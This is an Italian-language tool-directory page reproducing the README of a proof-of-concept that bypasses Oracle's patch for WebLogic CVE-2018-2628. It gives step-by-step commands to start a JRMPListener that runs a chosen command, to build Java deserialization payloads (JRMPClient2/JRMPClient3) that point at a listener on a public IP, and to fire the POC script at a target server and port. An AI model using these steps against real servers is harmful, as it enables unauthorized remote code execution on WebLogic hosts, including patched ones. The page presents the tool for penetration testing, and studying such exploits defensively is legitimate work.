Skip to content
KitploitKITPLOIT
StrumentiBlog
Invia
StrumentiBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

··Feed·Contatto·Privacy·© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
ysoserial-cve-2018-2628 — Alcuni codici per bypassare la patch di Oracle WebLogic CVE-2018-2628 | Kitploit
Strumenti/GitHubGitHub/tdy218/ysoserial-cve-2018-2628
Analisi delle VulnerabilitàExploitSfruttamento di Applicazioni WebPenetration TestingSviluppo Payload
GitHubtdy218/ysoserial-cve-2018-2628

ysoserial-cve-2018-2628

Alcuni codici per bypassare la patch di Oracle WebLogic CVE-2018-2628

Vedi Repository
114488 anni faRevisionato da Kitploit

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi

ysoserial-cve-2018-2628

0x1. Preparazione

  • Preparare l'ambiente software necessario per lo script POC, per la generazione dei Payload Object e per l'esecuzione di JRMPListener
    Python 2.7.x
    Oracle Java SE 1.7+
  • Preparare un ambiente WebLogic Server 10.3.6 con la Patch Set Update 180417 installata (è sufficiente solo AdminServer)
    Se si dispone già di un ambiente WebLogic con questa versione PSU installata, è possibile saltare questo passaggio.
  • Preparare lo strumento POC
    Scaricare lo script POC da questo progetto (wls-cve-2018-2628-poc.py)
    Dalla pagina release di questo progetto, scaricare il file jar per la generazione dei Payload Object e per il programma JRMPListener (ysoserial-<version>-cve-2018-2628-all.jar)

0x2. Eseguire JRMPListener

Formato del comando:

java -cp ysoserial-<version>-cve-2018-2628-all.jar ysoserial.exploit.JRMPListener <listen port> <gadget class> <command>

Esempio:

java -cp ysoserial-0.1-cve-2018-2628-all.jar ysoserial.exploit.JRMPListener 22801 Jdk7u21 "calc.exe"

Quando vedi l'output *Opening JRMP listener on 22801, annota l'indirizzo IP dell'host su cui è in esecuzione JRMPListener (nell'esempio, è in esecuzione su un host Alibaba Cloud ECS con IP pubblico 47.94.158.125) e la porta specificata.

0x3. Generare la stringa del Payload in base all'indirizzo IP e alla porta di ascolto dell'host JRMPListener del passaggio precedente

Sono noti attualmente due metodi (per generare la Payload Object String, è sufficiente scegliere uno dei due metodi seguenti):

  • Utilizzare java.rmi.activation.Activator[CVE-2017-3248]

Formato del comando per generare la Payload Object String:

java -jar ysoserial-<version>-cve-2018-2628-all.jar JRMPClient2 <JRMPListener IP>:<JRMPListener Port> | xxd -p | tr -d $'\n' && echo

Esempio:

java -jar ysoserial-0.1-cve-2018-2628-all.jar JRMPClient2 47.94.158.125:22801 | xxd -p | tr -d $'\n' && echo

Esempio (dati di output binari dell'oggetto Payload generato con JRMPClient2):

  • Utilizzare weblogic.jms.common.StreamMessageImpl per incapsulare java.rmi.registry.Registry

Formato del comando per generare la Payload Object String:

java -jar ysoserial-<version>-cve-2018-2628-all.jar JRMPClient3 <JRMPListener IP>:<JRMPListener Port> | xxd -p | tr -d $'\n' && echo

Esempio:

java -jar ysoserial-0.1-cve-2018-2628-all.jar JRMPClient3 47.94.158.125:22801 | xxd -p | tr -d $'\n' && echo

Esempio (dati di output binari dell'oggetto Payload generato con JRMPClient3):

0x4. Modificare ed eseguire lo script POC

Modificare wls-cve-2018-2628-poc.py e sostituire il valore della variabile chiamata payload_str in cima allo script con la stringa hex generata nel passaggio precedente (i valori delle due variabili payload_str incluse in questo script possono essere utilizzati direttamente, corrispondendo rispettivamente alle stringhe hex generate con i due metodi sopra descritti).

Formato del comando:

python wls-cve-2018-2628-poc.py <IP di ascolto dell'istanza WebLogic Server di destinazione> <porta di ascolto dell'istanza WebLogic Server di destinazione>

Esempio:

python wls-cve-2018-2628-poc.py 192.168.64.83 7001

Esempio (avendo installato la Patch Set Update 180417):

0x5. Ringraziamenti

xxlegend@nsfocus (uno degli scopritori e contributori della vulnerabilità CVE-2018-2628, ha rivelato le modalità di sfruttamento e i relativi esempi di codice)
badcode@knownsec (ha fornito l'esempio di codice per incapsulare java.rmi.registry.Registry con weblogic.jms.common.StreamMessageImpl)
ysoserial project (raccoglie molti programmi di sfruttamento per la deserializzazione Java)

Scarica lo strumento